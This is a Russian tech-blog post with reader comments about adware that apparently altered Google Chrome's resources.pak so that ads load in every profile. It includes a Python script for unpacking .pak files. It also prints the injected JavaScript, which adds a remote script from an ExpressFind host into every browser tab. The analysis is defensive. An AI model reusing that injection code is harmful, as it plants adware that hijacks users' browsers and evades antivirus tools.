Появился новый вид adware, который встраивается в сам браузер.
Очередной компьютер с жалобой на рекламу в браузере — как обычно по словам пользователя ничего не запускалось, но факт налицо — реклама вылазит почти на каждом сайте из всех щелей и подменяются поисковые запросы. Обычно большинство подобных проблем решаются сразу же за пять минут с помощью AntiSMS, затем проверяется журнал работы программы и при необходимости подчищаются хвосты вроде сторонних расширений в браузерах, но не в этом случае. Сходу не помогло ничего из обычных средств, даже антивирусы не видели в системе никаких проблем, а потому стало интересно — откуда же берётся реклама?
Для экономии времени перед ручной работой система была быстро проверена через AVZ, Dr.Web CureIt! и Kaspersky Virus Removal Tool — все отчитались о чистоте системы в то время, как на фоне их работы показывалась та самая реклама. Что характерно, в системе были удалены все остальные браузеры, остался только Google Chrome, да и новые способы заражения встречаются не часто, поэтому на него подозрение пало в последнюю очередь.
Первым делом был обнаружен рекламный модуль от компании Express Find с этой же легальной цифровой подписью от 8 апреля, совсем свежий. Он использовал одновременно три места автозапуска, однако после его удаления реклама чудесным образом продолжала показываться. Дальнейшее расследование показало, что она остаётся даже при создании нового профиля. Бывало раньше adware обосновывалась там, но здесь разработчики решили проявить креатив, чтобы реклама сопровождала пользователя с любым профилем и под любой учётной записью.
Дальше была исследована сама папка, в которой Google Chrome был установлен. На вид всё хорошо — все файлы имеют цифровую подпись, ничего необычного. Однако для проверки папка была переименована и тут же установлен новый хром той же версии. Тогда обнаружилось, что файл resources.pak отличается от оригинального и проблема находится именно здесь. Ресурсы сразу же были заменены для проверки и всё подтвердилось — виновник найден. Быстрый поиск для распаковки ресурсов показал следующий скрипт на питоне:
import collections
import struct
import sys
def ReadFile(filename, encoding):
mode = 'rb' if encoding == 0 else 'rU'
with open(filename, mode) as f:
data = f.read()
if encoding not in (0, 1):
data = data.decode(encoding)
return data
PACK_FILE_VERSION = 4
HEADER_LENGTH = 2 * 4 + 1 # Two uint32s. (file version, number of entries) and
# one uint8 (encoding of text resources)
def UnpackDataPack(input_file):
"""Reads a data pack file and returns a dictionary."""
data = ReadFile(input_file, 0)
original_data = data
# Read the header.
version, num_entries, encoding = struct.unpack("<IIB", data[:HEADER_LENGTH])
if version != PACK_FILE_VERSION:
print "Wrong file version in ", input_file
raise WrongFileVersion
resources = {}
if num_entries == 0:
return DataPackContents(resources, encoding)
# Read the index and data.
data = data[HEADER_LENGTH:]
kIndexEntrySize = 2 + 4 # Each entry is a uint16 and a uint32.
for _ in range(num_entries):
id, offset = struct.unpack("<HI", data[:kIndexEntrySize])
data = data[kIndexEntrySize:]
next_id, next_offset = struct.unpack("<HI", data[:kIndexEntrySize])
resources[id] = original_data[offset:next_offset]
filetype = 'bin'
fileheader = ''.join(original_data[offset:offset+1])
print ord(fileheader[0])
if fileheader == '<':
filetype = 'html'
if fileheader == '\x89':
filetype = 'png'
elif fileheader == '/':
filetype = 'js'
of = open('{0}.{1}'.format(id,filetype),'wb')
of.write(original_data[offset:next_offset])
of.close()
def main():
if len(sys.argv) > 1:
UnpackDataPack(sys.argv[1])
if __name__ == '__main__':
main()
Им были успешно распакованы две версии ресурсов и после сравнения обнаружилось, что в начало одного из скриптов adware дописал следующий блок:
chrome.tabs.onUpdated.addListener( function(tabId,changeInfo,tab){ chrome.tabs.executeScript(tabId,{code:" if(!window.blgcran){ window.blgcran = true; var scr=document.createElement('script'); scr.src='https://expressfind-a.akamaihd.net/ExpressFind/cr?t=BLGC&g=ca4874d9-0a3e-4215-9772-67fb5ba1c08a'; document.head.appendChild(scr);} "})});
Таким образом действующий сайт по https с легальной цифровой подписью загружает рекламу и успешно обходит антивирусы. А новый способ внедрения позволяет методу работать даже после полного удаления adware из системы.
Комментарии (45)
demimurych
09.04.2015 03:31-17> Однако для проверки папка была переименована и тут же установлен новый хром той же версии.
то есть для проверки вы использовали предоставленный вам компьютер, а не попытались тоже самое повторить на тестовой машине, где установлен полный мониторинг за всеми частями системы с аккаунтом жертвы?
bitlz
09.04.2015 03:53-3т.е. хром был установлен в профиль пользователя, так?
khanid
09.04.2015 15:21Судя по тому, что под другими учётками проблема была — хром установлен в целом на машину, а не для конкретного пользователя.
IRainman
09.04.2015 16:24+2Вот имхо зря bitlz заминусовали ибо я, например, тоже не понял из статьи куда был установлен Chrome, а про новых пользователей подумал, что это относится к профилям в самом Chrome.
Помимо этого по умолчанию Chrome ставится именно в профиль пользователя.
В общем, мне тоже интересны подробности ибо у меня Chrome как раз в Program Files живёт, а SRP (локальные политики) блокируют запуск приложений из мест, куда можно писать без админ прав. В общем, пока, я предполагаю, что мне и моим хомячкам описанные в статье проблемы не грозят.khanid
09.04.2015 16:38Проблема, думаю, в админ правах.
Наверняка были.
Похожая петрушка была как-то, но только добавлялась библиотека в %programfiles%\mozilla firefox
После этого так же левые страницы в ff и хроме. Сильно в механизме не разбирался. Но на машине, где отродясь не было ff, данная папка с 1 файлом смотрелась забавно.
И опять привет админским правам. Уж сколько раз твердили миру…IRainman
09.04.2015 19:07Возможно и в админ правах, но тогда возникает ещё более прозаичный вопрос куда делся по умолчанию включенный механизм UAC.
IRainman
09.04.2015 19:19Не исключаю, конечно, вероятности, что зараза умудрилась вылезти из песочницы через очередную уязвимость Win32k из процесса Chrome, который при этом ещё был запущен с админ правами при включённом UAC, но тогда это уже какой-то слишком суровый и экзотический способ поставить именно адварь. Вариант повышения прав за счёт уязвимости я сразу исключаю ибо такие эксплойты обычно значительно сложнее.
IRainman
09.04.2015 16:30Ну понятно, господа продвинутые юзеры и админы, похоже, расходимся. У меня этот файл в Program Files и просто так его не переписать.
P.S. Google «молодцы» конечно, ибо уже неоднократно нарушили всевозможные гайдлайны как по безопасности, так и по дизайну, от этого собственно и описанная в топике проблема.
k3NGuru
09.04.2015 05:12-1Мне в таких случаях помогла данная штука http://virusinfo.info/showthread.php?t=146192
nik_vr
09.04.2015 08:07AdwCleaner поможет вычистить автозагрузку, службы, планировщик и т.п. Т.е. пути проникновения скрипта. Но вряд ли AdwCleaner (по крайней мере, текущая версия) найдёт скрипт в pak-файле Chrome.
Eyes
09.04.2015 08:58Не уверен что проблема действительно новая, но с чем-то очень подобным я тоже столкнулся месяца три назад.
Правда реклама там всплывала и в хроме и в ФФ. Отчеты антивирусов были чисты (правда я тогда еще не знал про галку с нежелательными программами). AdwCleaner таки помог.nik_vr
09.04.2015 18:50У «рекламных» adware много путей внедрения в систему. От банальных расширений к браузерам, до описанного в статье метода.
crackedmind
09.04.2015 12:25-1Спасибо. Не знал про такое, тоже помогло. А то не знал как эту заразу на ноуте девушки прибить уже.
seyfer
09.04.2015 07:50Столкнулся с такой же проблемой. У меня установлен flash block и ad block и я пользуюсь Ubuntu.
С некоторых пор стала появляться иконка заблокированного флеша в левом верхнем углу. Так же я во время работы в инст. разработчика в хроме заметил, что на странице генерируется iframe, которого нет у меня в коде.
Стал смотреть куда ведет адрес с флеша через flash block. И он точно такой же как в этой статье — akamaihd.net
Я думал это от какого-то расширения, пробовал отключать — все остается так же.
В итоге я просто добавил правило в adblock и блокировал этот элемент с флеш. Сгенерированный iframe так и появляется в коде страницы, но его не видно и он не мешает…
Так что проблема действительно существует.Neris
09.04.2015 09:40+7akamaihd.net это просто CDN Akamai. Очень большой и распространенный. Там много чего может быть от кого угодно.
lostpassword
09.04.2015 10:49А могут с Akamai какие-нибудь гадости заливаться? Сталкивались когда-нибудь?
Neris
09.04.2015 10:58Туда что угодно можно залить, оно для этого и предназначено. Заливаешь один файл, его выкачивают, он распространяется по огромному количеству кеширующих серверов по всему миру, предоставляя возможность юзерам качать максимально быстро без всяких p2p. Только за трафик плати.
Но не думаю, что Акамаи очень уж абузоустойчив. Подозреваю, что если накатать жалобу на этот expressfind из статьи выше, предоставить доказательства, может с ними и разберутся.
Вы главное не вздумайте весь акамаи блочить по домену, много чего полезного распространяется через него. Максимум — поддомен, в нашем случае, «expressfind-a.akamaihd.net».lostpassword
09.04.2015 11:10Да это понятно, что не блочить. Просто у меня Akamai как-то с обновлениями Windows в основном ассоциировался. Выходит, зря.)
А у вас, часом, не найдется какой-нибудь истории из личного опыта со зловредом на Akamai? С кровавыми подробностями и скандальными разоблачениями?
ComodoHacker
09.04.2015 09:22+1Интересно все-таки узнать способ проникновения. Может тот Хром скачали с левого сайта?
saboteur_kiev
09.04.2015 16:09+1Кстати, я не перестаю удивляться, почему так сложно повнимательнее почитать ссылки в гугле и скачать БЕСПЛАТНЫЙ софт с оригинального сайта, а не с какой-то левой софтопомойки, которая в каждый инсталлятор засовывает кучу adware.
Особенно, когда домашний сайт проекта и имя домена совпадают.
toxicdream
09.04.2015 09:28+1Файлы случайно не этими сертификатами подписаны?
habrahabr.ru/company/infopulse/blog/255251/
zedalert
09.04.2015 12:45+5А я всё чаще сталкиваюсь с «честными» рекламными модулями, которые добавляют деинсталлятор в список программ, и на удивление действительно удаляются таким лёгким способом.
mannaro
09.04.2015 19:15Кстати, а что за поставщик рекламы здесь используется? И почему он не против такого вида размещения рекламы?
Beltoev
09.04.2015 22:34+2Новый adware встраивается непосредственно в браузер
По заголовку поста ожидал увидеть сам механизм встраивания, либо хоть какой-то намек на это. Думал, что в хроме есть какая-то уязвимость, либо что-то вроде этого, позволяющая зловреду так прописаться
И, кстати…
Быстрый поиск для распаковки ресурсов показал следующий скрипт на питоне
Несколько раз перечитал предложение. Спасибо, мой мозг взорванzserg
14.04.2015 08:46Это плохой перевод с рекламой.
Quick search for unpacking resources showed the following script in Python — в оригиналеBeltoev
14.04.2015 09:34+2Вы правы, и вправду перевод: it-supernova.com/new-adware-that-integrates-directly-into-the-browser
Получается, что пост нарушает сразу несколько правил Хабра: реклама, отсутствие метки перевод. Из «моральных» правил: выдача чужой статьи за свою. Некрасивоsimplix Автор
18.04.2015 22:51Вы что, с ума посходили? Какой-то сайт украл у меня статью, сделав перевод с русского на английский. А рекламу где увидели?
Beltoev
19.04.2015 01:03Реклама в первом же абзаце — не делайте вид, что не в курсе.
Хорошо, пусть статья ваша — почему комментарии к коду на английском? Учитывая, что писали на русском, правильным тоном было бы дать и комментарии к коду на русском
Beltoev
19.04.2015 01:42Если нет рекламы и статья всё-таки ваша — зачем мне карму минуснули?
Будь я на вашем месте и, если бы статья была моей, я бы и значения не придал таким комментариям
fortyseven
14.04.2015 14:53Интересно, что скажет akamai, пустивший в свой CDN такое, да ещё и согласился отдавать по https.
iG0Lka
т.е. способ борьбы — почистить автозапуск и поставить заново броузер.
А откуда и главное как зараза пролезла?
shpaker
Побуду сегодня капитаном. Автозапуска мало. Службы, планировщик и тупо ярлыки обязательны к просмотру.
klikalka
Очень часто в последнее время натыкаюсь как раз на прописанные в ярлыках сайты и/или ссылки на bat'ники.
shpaker
Ещё забыл добавить про проверку «Дополнений» браузеров.
iG0Lka
да это все понятно кэп, службы и планировщик это тоже автозапуск…
главный вопрос как оно залезает?
shpaker
Все случаи что капитан видел, были последствием запуска как-нибудь странных программок, с именем вроде krutaya.mp3.exe или supergame.zip.exe
Разводы древние как мир до сих пор работают, дело LOVE-LETTER-FOR-YOU.TXT.vbs живо.
khanid
Если гобально — пользователь с админ правами для постоянной работы.
Крайне реже — уязвимости в системе. Это реально гораздо реже случается.
izac
Наверно я использовал данный алгоритм:
1)Проверил службы, планировщики
2)Проверка путей в ярлыках
3)Проверка браузера на предмет сторонних дополнений.
Если не помогает, тогда переустановка с 0 браузера.